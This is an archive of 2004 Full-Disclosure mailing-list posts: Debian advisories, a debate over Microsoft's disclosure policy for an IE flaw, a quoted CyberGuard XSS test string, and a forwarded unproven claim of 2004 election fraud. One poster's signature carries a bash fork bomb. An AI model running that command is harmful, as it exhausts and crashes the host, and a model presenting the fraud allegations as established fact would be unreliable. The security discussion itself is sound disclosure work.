Messaggio inviato da
Edizioni Master Webmail
http://mbox.edmaster.it

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] TRUSTe.org Cross-Site-Scripting Phishing oppurtunities

[Andrew Smith]

Website: http://truste.org
Background: 
TRUSTe® is an independent, nonprofit organization dedicated to
enabling individuals and organizations to establish trusting
relationships based on respect for personal identity and information
in the evolving networked world.
Through extensive consumer and Web site research and the support and
guidance of many established companies and industry experts, TRUSTe
has earned a reputation as the leader in promoting privacy policy
disclosure, informed user consent, and consumer education.
TRUSTe's members include eBay, Apple, MSN, NYTimes and many other big,
scary corporations.

Description: Truste's 'ivalidate.php' is used to validate "trusted"
sites. Whilst the script does add slashes to quotes and closes

Re: [Full-Disclosure] HTTP : Linux, Rusia, Cisco, Open Wall, etc

[Michael Rutledge]

Is this list of URLs an answer to someone else's question, or just a
general list topics?

-Michael

On Fri, 5 Nov 2004 07:21:57 + (GMT), Richard Tan
<[EMAIL PROTECTED]> wrote:
> 
> http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis/
> http://www.elcomsoft.com/aw2000pr.html
> http://www.elcomsoft.com/acpr.html
> http://www.elcomsoft.com/ae2000pr.html
> http://www.cisco.com/warp/public/707/SSH-multiple-pub.html
> http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html
> http://www.cisco.com/en/US/products/products_security_advisories_listing.html
> http://www.cisco.com/en/US/partners/index.html
> http://www.cisco.com/en/US/products/products_security_advisories_listing.html
> http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x32B6B590
> http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html#Contact
> http://www.cisco.com/pcgi-bin/search/search.pl?searchPhrase=ssh&nv=Search+All+cisco.com%23%23cisco.com&nv=Technical+Support+%26+documentation%23%23cisco.com%23TSD&language=en&country=US&accessLevel=Guest&siteToSearch=cisco.com&x=11&y=8
> http://www.cisco.com/pcgi-bin/search/search.pl
> http://www.cisco.com/en/US/products/sw/iosswrel/ps1839/products_feature_guide09186a0080087acb.html
> http://www.cisco.com/en/US/tech/tk583/tk617/technologies_tech_note09186a0080094314.shtml
> http://www.cisco.com/en/US/tech/tk583/tk617/technologies_tech_note09186a0080094314.shtml
> http://www.cisco.com/warp/public/707/ssh_cat_switches.pdf
> http://www.cisco.com/en/US/products/hw/switches/ps718/products_command_reference_chapter09186a00800bd978.html
> http://www.cisco.com/global/RU/
> http://www.cisco.com/global/EMEA/powernow/uk/index.shtml?AW-BN-0026-0048-0021
> http://www.cisco.com/en/US/products/hw/switches/ps718/products_command_reference_chapter09186a00800bd978.html#1069663
> http://www.cisco.com/en/US/products/hw/switches/ps718/products_command_reference_chapter09186a00800bd978.html#1058554
> http://www.cisco.com/en/US/products/hw/switches/ps718/products_command_reference_chapter09186a00800bd978.html#1042646
> http://www.cisco.com/en/US/products/hw/switches/ps718/products_command_reference_chapter09186a00800bd978.html#1042674
> http://www.cisco.com/en/US/products/hw/switches/ps718/products_command_reference_chapter09186a00800bd978.html#1051973
> http://www.cisco.com/en/US/products/hw/switches/ps718/products_command_reference_chapter09186a00800bd978.html#1052148
> http://www.cisco.com/en/US/products/hw/switches/ps718/products_command_reference_chapter09186a00800bd980.html#18000
> http://www.cisco.com/en/US/tech/tk583/tk617/technologies_tech_note09186a0080094314.shtml#goodconn
> http://www.cisco.com/en/US/tech/tk583/tk617/technologies_tech_note09186a0080094314.shtml#gowrong
> http://www.cisco.com/en/US/tech/tk583/tk617/technologies_tech_note09186a0080094314.shtml#debug
> http://www.cisco.com/en/US/tech/tk583/tk617/technologies_tech_note09186a0080094314.shtml#intro
> http://www.cisco.com/en/US/tech/tk583/tk617/technologies_tech_note09186a0080094314.shtml#before
> http://www.cisco.com/en/US/tech/tk583/tk617/technologies_tech_note09186a0080094314.shtml#topic1
> http://www.cisco.com/en/US/tech/tk583/tk617/technologies_tech_note09186a0080094314.shtml#switch
> http://www.cisco.com/en/US/tech/tk583/tk617/technologies_tech_note09186a0080094314.shtml#dis
> http://www.cisco.com/en/US/tech/tk801/tk36/technologies_tech_note09186a0080121ac5.shtml
> http://www.cisco.com/en/US/products/products_security_advisories_listing.html
> http://www.cisco.com/global/RU/news/releases/0376.shtml
> http://www.cisco.com/global/RU/news/releases/index03.shtml
> http://www.cisco.com/global/RU/news/releases/0335.shtml
> http://www.cisco.com/global/RU/smbportal/
> http://www.cisco.com/global/RU/news/releases/0290.shtml
> http://www.comptek.ru/iptconf/program.xhtml
> http://www.cisco.com/global/RU/news/releases/0281.shtml
> http://www.cisco.com/global/RU/news/releases/0280.shtml
> http://www.cisco.com/global/RU/news/releases/index01.shtml
> http://www.cisco.com/global/RU/news/releases/index00.shtml
> http://www.cisco.com/global/RU/news/releases/index99.shtml
> http://www.cisco.com/global/RU/news/releases/index98.shtml
> http://www.cisco.com/global/RU/sitemap/
> http://www.openwall.com/passwords/
> http://www.openwall.com/wordlists/
> http://www.openwall.com/linux/
> http://www.openwall.com/linux/README.shtml
> http://www.openwall.com/linux/FAQ.shtml
> http://www.openwall.com/Owl/
> http://www.openwall.com/john/
> http://www.openwall.com/crypt/
> http://www.openwall.com/DF/
> http://www.msk-ix.ru/eng/about/
> http://www.msk-ix.ru/eng/participants/
> http://www.msk-ix.ru/eng/tech/
> http://www.msk-ix.ru/eng/net/
> http://www.msk-ix.ru/eng/glass/
> http://www.msk-ix.ru/cgi/lg.cgi
> ftp://ftp.openwall.com/pub/patches/linux/
> http://www.openwall.com/mirrors/
> http://www.openwall.com/crypt/contrib/shadow-19990827.ow.diff.gz
> http://www.openwall.com/signatures/
> http://www.openwall.com/signatures/ope

Re: [Full-Disclosure] MSIE src&name property disclosure

[Georgi Guninski]

0wning the windoze population is not enough for m$.

they also want to 0wn the intellectual property of bugs and exploits in their
warez.

as much as i love them, i must admit they are lamers.

-- 
where do you want bill gates to go today?

On Mon, Nov 08, 2004 at 12:40:08PM +0100, Berend-Jan Wever wrote:
> Hi all,
> 
> In response to statements found at
> http://news.com.com/Exploit+code+makes+IE+flaw+more+dangerous/2100-1002_3-5439370.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] [SECURITY] [DSA 588-1] New gzip packages fix insecure temporary files

[debian-security-announce]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
Debian Security Advisory DSA 588-1 [EMAIL PROTECTED]
http://www.debian.org/security/ Martin Schulze
November 8th, 2004  http://www.debian.org/security/faq
- --

Package: gzip
Vulnerability  : insecure temporary files
Problem-Type   : local
Debian-specific: no
CVE ID : CAN-2004-0970
BugTraq ID : 11288

Trustix developers discovered insecure temporary file creation in
supplemental scripts in the gzip package which may allow local users
to overwrite files via a symlink attack.

For the stable distribution (woody) these problems have been fixed in
version 1.3.2-3woody3.

The unstable distribution (sid) is not affected by these problems.

We recommend that you upgrade your gzip package.


Upgrade Instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 3.0 alias woody
- 

  Source archives:

http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2-3woody3.dsc
  Size/MD5 checksum:  577 3b5fd05de61de0a41973facf1edc6692

http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2-3woody3.diff.gz
  Size/MD5 checksum: 6371 cdb2a28b380ba84bae2c652eb156ca5a
http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2.orig.tar.gz
  Size/MD5 checksum:   311011 57bff96b6b4bcbb060566bdbed29485d

  Alpha architecture:


http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2-3woody3_alpha.deb
  Size/MD5 checksum:76456 3b8b2991a66b675198febc281ca59e84

  ARM architecture:


http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2-3woody3_arm.deb
  Size/MD5 checksum:68776 c049ef9bec9ac21c99c1f7eefc6ceb2e

  Intel IA-32 architecture:


http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2-3woody3_i386.deb
  Size/MD5 checksum:62076 536b666d29bcc648a1f105b3e5ef0708

  Intel IA-64 architecture:


http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2-3woody3_ia64.deb
  Size/MD5 checksum:86840 dd973820227968197c4da091db22bf18

  HP Precision architecture:


http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2-3woody3_hppa.deb
  Size/MD5 checksum:72594 70eb93310c314cd923091c93e0eded97

  Motorola 680x0 architecture:


http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2-3woody3_m68k.deb
  Size/MD5 checksum:61278 a47c8230f4f721e2a1adc6545aa25198

  Big endian MIPS architecture:


http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2-3woody3_mips.deb
  Size/MD5 checksum:71762 68707f5373f065430d43cd2700902b60

  Little endian MIPS architecture:


http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2-3woody3_mipsel.deb
  Size/MD5 checksum:71660 50646d0590343e2b90dc9f32fade4d54

  PowerPC architecture:


http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2-3woody3_powerpc.deb
  Size/MD5 checksum:69280 9f49c09ec45ae1d4135e384e94914b72

  IBM S/390 architecture:


http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2-3woody3_s390.deb
  Size/MD5 checksum:66726 c2a0ca55f66fa0a6631756fc68d14b8d

  Sun Sparc architecture:


http://security.debian.org/pool/updates/main/g/gzip/gzip_1.3.2-3woody3_sparc.deb
  Size/MD5 checksum:70298 88378dc40c8e762b97da5a16058190af


  These files will probably be moved into the stable distribution on
  its next update.

- 
-
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security 
dists/stable/updates/main
Mailing list: [EMAIL PROTECTED]
Package info: `apt-cache show ' and http://packages.debian.org/

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.5 (GNU/Linux)

iD8DBQFBj5IwW5ql+IAeqTIRAoYJAJ41JFb6u0yuf2fomIzGcYNNPgrkIACgmfz/
ljBz6K9A7PBxJLYAzXHFUbc=
=L+Am
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] MSIE src&name property disclosure

[Dave Aitel]

Michal Zalewski wrote:
On Mon, 8 Nov 2004, Berend-Jan Wever wrote:
 

In response to statements found at
http://news.com.com/Exploit+code+makes+IE+flaw+more+dangerous/2100-1002_3-5439370.html
   

Yup.
But what amuses me most, is the following bit:
 "Microsoft has begun to investigate the Iframe vulnerability and has not
 been made aware of any program designed to exploit the flaw, the company
 said in an e-mail statement to CNET News.com."
When you posted your first message confirming that the problem is
exploitable, I forwarded it to [EMAIL PROTECTED], so that they know
they have a problem in case they do not read Full-Disclosure. I got no
response. Later, when you posted a working exploit, I sent them another
forward, including a remark it is probably a good idea to react now, if
they failed to do so before.
In response, I got a mail from "Lennart" of Microsoft Security Response
Center, saying that they are aware of the problem and read mailing lists,
and that my original mail simply got lost in the noise.
Several days later, this statement surfaces in an article, showing beyond
any doubt that they are, quite simply, lying to the public to save face
and gain time.
As much as I am not a rabid Microsoft hater, this pissed me off more than
a bit.
 

The really insidious thing is how they always attempt to claim that 
their version of disclosure policy is "commonly accepted" when nothing 
could be further from the truth. The security community, including most 
security consulting companies, follows a wide range of policies. Most of 
these policies have very little in common with Microsoft's policy, which 
they call "Responsible Disclosure (tm)." Of course, they themselves do 
not practice responsible disclosure to their customers. If they did, 
then EVERY vulnerability they discovered internally would be in an 
advisory. This is how it is done in organizations that truly do want to 
protect their customers, such as the Linux community.

This is another reason why studies comparing Microsoft's security to 
Open Source security are always bizzare. They compare the entire set of 
Linux vulnerabilities to a tiny subset of the bugs Microsoft knows 
about, but pretends other people don't. WINS is a classic example.

Dave Aitel
Immunity, Inc.
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] MSIE src&name property disclosure ("E" - GORILLA WAR stratigy? )

[jamie fisher]

Can a company sue a person, for publishing irresponsible sec. ...
 
>>  Don't know; Internet law is still very unclear in so many areas.
 
I found a shitty security issue in CyberGuard Firewall/Proxy some time ago; they were pretty upset about it.  Went to the top as far as I understand it, to Paul Henry.
 
In any case, they asked me to issue a retraction statement saying the security issue was false.  I _did_ get the feeling the lawyers would come out of the woodwork but I ignored them and they finally went away.  I'd say it was a pretty close shave.
 
Below is the retraction statement they asked me to issue:
To Whom It May Concern: 
28 January 2004 
In reference to the vulnerability posting that I raised on Bugtraq on 18th December 2003, relating to CyberGuard firewall/VPN products, I now request that your site remove the entry as it has been proven to be false. 
CyberGuard have issued the following public statement: 
CyberGuard firewalls have zero vulnerabilities. Security Tracker agrees to remove erroneous 'vulnerability' message posting. 
After further investigation and research into the message posted to the Bugtraq security mailing list on December 18th, 2003 and as reported on http://securitytracker.com/alerts/2003/Dec/1008526.html and other security web sites, CyberGuard has determined that the information in the post is indeed false. While the party failed to test and validate the above XSS hole as reported in the above post, we will shed further light on this supposed "vulnerability." 
The above poster assumes that a XSS hole would provide a miscreant to privileged user credentials by collecting password/username information from the browser information of a CyberGuard administrator desktop machine. CyberGuard uses Tarantella (a java applet) to administer a firewall via HTTPS - we DO NOT store user credentials in the browser. Consequently, there is no privileged data that can be compromised and no vulnerability whatsoever. " 
Security Tracker agrees with this assessment and will remove the report from its database. We are also working with other security sites that list Security Tracker reports to make sure the CyberGuard "vulnerability" is removed as soon as possible. 
I confirm that I now request that your site remove the entry as it has been proven to be incorrect. 
Please inform me when this action has been completed. 
Jamie Fisher 
For completeness, the XSS is as follows:
http://domain.tldALERT('TEST')< A script<>>
 
CyberGuard make decent firewalls; the manner in which they manage their response to security vulnerbilities is poor.bipin gautam <[EMAIL PROTECTED]> wrote:
huh!Reviewing all the latest IE advisories, i believe theyare in a way attacking M$. So that its coutomers areforced to choose another browser... due to thesecurity risks involved.I will rate it as a birth of "E" - GORILLA WARstratigy? (o; of the minorities.Can a company sue a person, for publishingirresponsible sec. advisories as such? No offence. Ijust wanna know your views. Afterall, the haxor isreverse engineering the software. I don't know if M$will ever fire a case against such ppl. in future witha propaganda, TO PROTECT ITS USERS?have your say?bipin gautam--- Berend-Jan Wever <[EMAIL PROTECTED]>wrote:> Hi all,> > In response to statements found at>http://news.com.com/Exploit+code+makes+IE+flaw+more+dangerous/2100-1002_3-5439370.html> "Micros!
 oft is
 concerned that this new report of a> vulnerability in> Internet Explorer was not disclosed responsibly,> potentially putting> computer users at risk," the company said in the> statement. "We believe> the commonly accepted practice of reporting> vulnerabilities directly to a> vendor serves everyone's best interests, by helping> to ensure that> customers receive comprehensive, high-quality> updates for security> vulnerabilities with no exposure to malicious> attackers while the patch> is being developed."> > About "responsible disclosure":> The origional vulnerability was found and disclosed> by ned. As far as I> know, ned only knew he had found something that> crashed MSIE: a bug.> Microsofts concerns would suggest two options:> 1) They expect everybody who finds a bug to> investigate the issue and act> accord!
 ing to
 the impact the problem might have on> security. I do not think> this is likely to happen unless everybody is> required to be a 1337> ubergeek before they are allowed to use MS software.> It's a nice goal to> aim for, but not very realistic.> 2) You can not talk about your software crashing,> ever, unless it's to the> vendor: You might have stumbled upon a vulnerability> and if a malicous> attacker hears about it, he might use it.> > About "commonly accepted practice of reporting> vulnerabilities directly to> a vendor":> When did they arrest all the black-hats ?> > About "no exposure to malicious attackers while the> patch is being> developed":> Allthough I believe in responsible disclosure of> vulnerabilities, it DOES> NOT prevent malicious attackers to d

Re: [Full-Disclosure] MSIE src&name property disclosure ("E" - GORILLA WAR stratigy? )

[kf_lists]

HP Tryed...
-KF
Can a company sue a person, for publishing
irresponsible sec. advisories as such? No offence. I
just wanna know your views. Afterall, the haxor is
reverse engineering the software. I don't know if M$
will ever fire a case against such ppl. in future with
a propaganda, TO PROTECT ITS USERS?
 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] MSIE src&name property disclosure ("E" - GORILLA WAR stratigy? )

[bipin gautam]

huh!
Reviewing all the latest IE advisories, i believe they
are in a way attacking M$. So that its coutomers are
forced to  choose another browser... due to the
security risks involved.

I will rate it as a birth of  "E" - GORILLA WAR
stratigy?   (o;   of the minorities.


 Can a company sue a person, for publishing
irresponsible sec. advisories as such? No offence. I
just wanna know your views. Afterall, the haxor is
reverse engineering the software. I don't know if M$
will ever fire a case against such ppl. in future with
a propaganda, TO PROTECT ITS USERS?

have your say?

bipin gautam
--- Berend-Jan Wever <[EMAIL PROTECTED]> wrote:

> Hi all,
> 
> In response to statements found at
>
http://news.com.com/Exploit+code+makes+IE+flaw+more+dangerous/2100-1002_3-5439370.html
>  "Microsoft is concerned that this new report of a
> vulnerability in
> Internet Explorer was not disclosed responsibly,
> potentially putting
> computer users at risk," the company said in the
> statement. "We believe
> the commonly accepted practice of reporting
> vulnerabilities directly to a
> vendor serves everyone's best interests, by helping
> to ensure that
> customers receive comprehensive, high-quality
> updates for security
> vulnerabilities with no exposure to malicious
> attackers while the patch
> is being developed."
> 
> About "responsible disclosure":
> The origional vulnerability was found and disclosed
> by ned. As far as I
> know, ned only knew he had found something that
> crashed MSIE: a bug.
> Microsofts concerns would suggest two options:
> 1) They expect everybody who finds a bug to
> investigate the issue and act
> according to the impact the problem might have on
> security. I do not think
> this is likely to happen unless everybody is
> required to be a 1337
> ubergeek before they are allowed to use MS software.
> It's a nice goal to
> aim for, but not very realistic.
> 2) You can not talk about your software crashing,
> ever, unless it's to the
> vendor: You might have stumbled upon a vulnerability
> and if a malicous
> attacker hears about it, he might use it.
> 
> About "commonly accepted practice of reporting
> vulnerabilities directly to
> a vendor":
> When did they arrest all the black-hats ?
> 
> About "no exposure to malicious attackers while the
> patch is being
> developed":
> Allthough I believe in responsible disclosure of
> vulnerabilities, it DOES
> NOT prevent malicious attackers to discover and
> exploit the same
> vulnerability while a patch is being developed.
> Resonsible disclosure
> decreases the chance of somebody hacking your system
> while you are
> vulnerable, it doesn't make it zero.
> 
> Anybody who understands basic bufferoverflow
> techniques will be able to
> write an exploit for this vulnerability. I did it in
> a few minutes, so how
> hard can it be ? I do not feel I disclosed anything
> new, I just saved a
> lot of people the trouble of writing it themselves.
> 
> The vulnerability has been rated "extremely
> critical" since I released the
> exploit. I say it was allready "extremely critical"
> before ned disclosed
> his information, only nobody knew it was there. It
> was "extremely
> critical" when ned did, but only a few could grasp
> that. Then I explained
> it was an easy to exploit bufferoverflow, it still
> did not get much
> attention.
> Writing the exploit hasn't changed the flaw or it's
> impact, it just
> attracked the right amount of attention to the
> problem.
> 
> Cheers,
> SkyLined
> 
> ___
> Full-Disclosure - We believe in it.
> Charter:
> http://lists.netsys.com/full-disclosure-charter.html
> 




__ 
Do you Yahoo!? 
Check out the new Yahoo! Front Page. 
www.yahoo.com 
 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] MSIE src&name property disclosure

[Michal Zalewski]

On Mon, 8 Nov 2004, Berend-Jan Wever wrote:

> In response to statements found at
> http://news.com.com/Exploit+code+makes+IE+flaw+more+dangerous/2100-1002_3-5439370.html

Yup.

But what amuses me most, is the following bit:

  "Microsoft has begun to investigate the Iframe vulnerability and has not
  been made aware of any program designed to exploit the flaw, the company
  said in an e-mail statement to CNET News.com."

When you posted your first message confirming that the problem is
exploitable, I forwarded it to [EMAIL PROTECTED], so that they know
they have a problem in case they do not read Full-Disclosure. I got no
response. Later, when you posted a working exploit, I sent them another
forward, including a remark it is probably a good idea to react now, if
they failed to do so before.

In response, I got a mail from "Lennart" of Microsoft Security Response
Center, saying that they are aware of the problem and read mailing lists,
and that my original mail simply got lost in the noise.

Several days later, this statement surfaces in an article, showing beyond
any doubt that they are, quite simply, lying to the public to save face
and gain time.

As much as I am not a rabid Microsoft hater, this pissed me off more than
a bit.

-- 
- bash$ :(){ :|:&};: --
 Michal Zalewski * [http://lcamtuf.coredump.cx]
Did you know that clones never use mirrors?
--- 2004-11-08 15:09 --

   http://lcamtuf.coredump.cx/photo/current/

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] [SECURITY] [DSA 587-1] New freeam packages fix arbitrary code execution

[debian-security-announce]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
Debian Security Advisory DSA 587-1 [EMAIL PROTECTED]
http://www.debian.org/security/ Martin Schulze
November 8th, 2004  http://www.debian.org/security/faq
- --

Package: freeamp
Vulnerability  : buffer overflow
Problem-Type   : remote
Debian-specific: no
CVE ID : CAN-2004-0964

Luigi Auriemma discovered a buffer overflow condition in the playlist
module of freeamp which could lead to arbitrary code execution.
Recent versions of freeamp were renamed into zinf.

For the stable distribution (woody) this problem has been fixed in
version 2.1.1.0-4woody2.

For the unstable distribution (sid) this problem does not exist in the
zinf packageas the code in question was rewritten.

We recommend that you upgrade your freeamp packages.


Upgrade Instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 3.0 alias woody
- 

  Source archives:


http://security.debian.org/pool/updates/main/f/freeamp/freeamp_2.1.1.0-4woody2.dsc
  Size/MD5 checksum:  944 39d51f9def21f5b1d5542ccbcbc01e29

http://security.debian.org/pool/updates/main/f/freeamp/freeamp_2.1.1.0-4woody2.diff.gz
  Size/MD5 checksum:32347 783b34ce5201a8e4e10a8722fd00ad8f

http://security.debian.org/pool/updates/main/f/freeamp/freeamp_2.1.1.0.orig.tar.gz
  Size/MD5 checksum:  3116888 d465da9fcdcc6ee7991e9b6cd968127b

  Architecture independent components:


http://security.debian.org/pool/updates/main/f/freeamp/freeamp-doc_2.1.1.0-4woody2_all.deb
  Size/MD5 checksum:   282330 ffb91e1362db38b0e063839afdb7eefa

  Alpha architecture:


http://security.debian.org/pool/updates/main/f/freeamp/freeamp_2.1.1.0-4woody2_alpha.deb
  Size/MD5 checksum:  2399962 187f779ad3fa78a1bcb6f79837a733ba

http://security.debian.org/pool/updates/main/f/freeamp/freeamp-extras_2.1.1.0-4woody2_alpha.deb
  Size/MD5 checksum:90476 d184dd97abf70f5db80579e76bdca43a

http://security.debian.org/pool/updates/main/f/freeamp/libfreeamp-alsa_2.1.1.0-4woody2_alpha.deb
  Size/MD5 checksum:34752 97704f6cd7245b6821d4683ee7999015

http://security.debian.org/pool/updates/main/f/freeamp/libfreeamp-esound_2.1.1.0-4woody2_alpha.deb
  Size/MD5 checksum:33376 77bbee46f4b02464e387d40fd850fac9

  ARM architecture:


http://security.debian.org/pool/updates/main/f/freeamp/freeamp_2.1.1.0-4woody2_arm.deb
  Size/MD5 checksum:  2194684 c37e64837c2353be71062e9c74934028

http://security.debian.org/pool/updates/main/f/freeamp/freeamp-extras_2.1.1.0-4woody2_arm.deb
  Size/MD5 checksum:82794 6e6e0079c0f912c6aba7e3a73bc7963d

http://security.debian.org/pool/updates/main/f/freeamp/libfreeamp-alsa_2.1.1.0-4woody2_arm.deb
  Size/MD5 checksum:29440 615324c7d033b4c327a883239b5afe9c

http://security.debian.org/pool/updates/main/f/freeamp/libfreeamp-esound_2.1.1.0-4woody2_arm.deb
  Size/MD5 checksum:29342 d745a17d3a3c59dd6d004babcfa7563b

  Intel IA-32 architecture:


http://security.debian.org/pool/updates/main/f/freeamp/freeamp_2.1.1.0-4woody2_i386.deb
  Size/MD5 checksum:  2032164 5c68a2b2940d9bfa3f5f3320f9a85d5b

http://security.debian.org/pool/updates/main/f/freeamp/freeamp-extras_2.1.1.0-4woody2_i386.deb
  Size/MD5 checksum:73482 091fe47ddd9308edcd2df707b00fefc8

http://security.debian.org/pool/updates/main/f/freeamp/libfreeamp-alsa_2.1.1.0-4woody2_i386.deb
  Size/MD5 checksum:29382 3b22fa0992c89e05542d06b78ca263df

http://security.debian.org/pool/updates/main/f/freeamp/libfreeamp-esound_2.1.1.0-4woody2_i386.deb
  Size/MD5 checksum:28476 0142da2d0ed0d50e7fe454171d7066da

  Intel IA-64 architecture:


http://security.debian.org/pool/updates/main/f/freeamp/freeamp_2.1.1.0-4woody2_ia64.deb
  Size/MD5 checksum:  2367142 c43140e99b8dd87934e9611a060fe1bc

http://security.debian.org/pool/updates/main/f/freeamp/freeamp-extras_2.1.1.0-4woody2_ia64.deb
  Size/MD5 checksum:84638 6e55107e3071f451b08d77aed3260d44

http://security.debian.org/pool/updates/main/f/freeamp/libfreeamp-esound_2.1.1.0-4woody2_ia64.deb
  Size/MD5 checksum:27532 84b0e8df2b31326b378ce79e404ec4cd

  HP Precision architecture:


http://security.debian.org/pool/updates/main/f/freeamp/freeamp_2.1.1.0-4woody2_hppa.deb
  Size/MD5 checksum:  2184294 a8a7e

[Full-Disclosure] MSIE src&name property disclosure

[Berend-Jan Wever]

Hi all,

In response to statements found at
http://news.com.com/Exploit+code+makes+IE+flaw+more+dangerous/2100-1002_3-5439370.html
 "Microsoft is concerned that this new report of a vulnerability in
Internet Explorer was not disclosed responsibly, potentially putting
computer users at risk," the company said in the statement. "We believe
the commonly accepted practice of reporting vulnerabilities directly to a
vendor serves everyone's best interests, by helping to ensure that
customers receive comprehensive, high-quality updates for security
vulnerabilities with no exposure to malicious attackers while the patch
is being developed."

About "responsible disclosure":
The origional vulnerability was found and disclosed by ned. As far as I
know, ned only knew he had found something that crashed MSIE: a bug.
Microsofts concerns would suggest two options:
1) They expect everybody who finds a bug to investigate the issue and act
according to the impact the problem might have on security. I do not think
this is likely to happen unless everybody is required to be a 1337
ubergeek before they are allowed to use MS software. It's a nice goal to
aim for, but not very realistic.
2) You can not talk about your software crashing, ever, unless it's to the
vendor: You might have stumbled upon a vulnerability and if a malicous
attacker hears about it, he might use it.

About "commonly accepted practice of reporting vulnerabilities directly to
a vendor":
When did they arrest all the black-hats ?

About "no exposure to malicious attackers while the patch is being
developed":
Allthough I believe in responsible disclosure of vulnerabilities, it DOES
NOT prevent malicious attackers to discover and exploit the same
vulnerability while a patch is being developed. Resonsible disclosure
decreases the chance of somebody hacking your system while you are
vulnerable, it doesn't make it zero.

Anybody who understands basic bufferoverflow techniques will be able to
write an exploit for this vulnerability. I did it in a few minutes, so how
hard can it be ? I do not feel I disclosed anything new, I just saved a
lot of people the trouble of writing it themselves.

The vulnerability has been rated "extremely critical" since I released the
exploit. I say it was allready "extremely critical" before ned disclosed
his information, only nobody knew it was there. It was "extremely
critical" when ned did, but only a few could grasp that. Then I explained
it was an easy to exploit bufferoverflow, it still did not get much
attention.
Writing the exploit hasn't changed the flaw or it's impact, it just
attracked the right amount of attention to the problem.

Cheers,
SkyLined

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Web server http protocol version support

[Marc Ruef]

Dear list,
I am currently working on the upcoming release 3.0 of my Attack Tool Kit 
(ATK), an open vulnerability scanner and exploiting framework for 
Windows.[1]

In this case I try to increase the accuracy of the pattern matching 
based plugins to detect successfull web server vulnerability detection 
or exploitation. I am using regulary expressions to do this (See [2] for 
some examples).

When I was updating the (web server) plugins yesterday, a question came 
up: What kind of http protocols do popular web servers as like Apache or 
MS IIS support in responses? Is it always HTTP/1.1 no matter what http 
protocol version specification is given in the request[3]? What http 
protocol versions are planned? A new major release or just minor 
changes? What is the best expression to fetch successfull http requests 
now and in the future too[4]? Is the user able to deny the support for a 
specific protocol version and respond as 0.9 only for example?

Regards,
Marc
[1] http://www.computec.ch/projekte/atk/
[2] http://www.computec.ch/projekte/atk/plugins/pluginslist/pluginslist.html
[3] I took a look at the source code of the latest Apache release and 
saw that in some cases other http protocol versions are re-written/used. 
Usually the regulary 0.9, 1.0 and 1.1
[4] For example "HTTP/#.# *" when using the "like" regulary expressions 
of Visual Basic 6. It may be possible to be more accurate, isn't it? The 
Nessus plugins are often using very fuzzy pattern matching in this case.

--
Computer, Technik und Security  http://www.computec.ch/
Meine private Webseitehttp://www.computec.ch/mruef/
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Blackbox: Elections fraud in 2004

[Ben]

See also.

http://www.commondreams.org/headlines04/1106-30.htm

> -Original Message-
> From: J.A. Terranson [mailto:[EMAIL PROTECTED]
> Sent: Monday, 8 November 2004 9:09 AM
> To: [EMAIL PROTECTED]
> Cc: [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Subject: [Full-Disclosure] Blackbox: Elections fraud in 2004
> 
> 
> http://www.blackboxvoting.org/
> 
> BREAKING -- SUNDAY Nov. 7 2004: Freedom of Information requests at
> http://www.blackboxvoting.org have unearthed two Ciber certification
> reports indicating that security and tamperability was NOT TESTED and that
> several state elections directors, a secretary of state, and computer
> consultant Dr. Britain Williams signed off on the report anyway,
> certifying it.
> 
> Black Box Voting has taken the position that fraud took place in the 2004
> election through electronic voting machines. We base this on hard
> evidence, documents obtained in public records requests, inside
> information, and other data indicative of manipulation of electronic
> voting systems. What we do not know is the specific scope of the fraud. We
> are working now to compile the proof, based not on soft evidence -- red
> flags, exit polls -- but core documents obtained by Black Box Voting in
> the most massive Freedom of Information action in history.
> 
> ---
> 
> SUNDAY Nov. 7 2004: We.re awaiting independent analysis on some pretty
> crooked-looking elections. In the mean time, here.s something to chew on.
> 
> Your local elections officials trusted a group called NASED -- the
> National Association of State Election Directors -- to certify that your
> voting system is safe.
> 
> This trust was breached.
> 
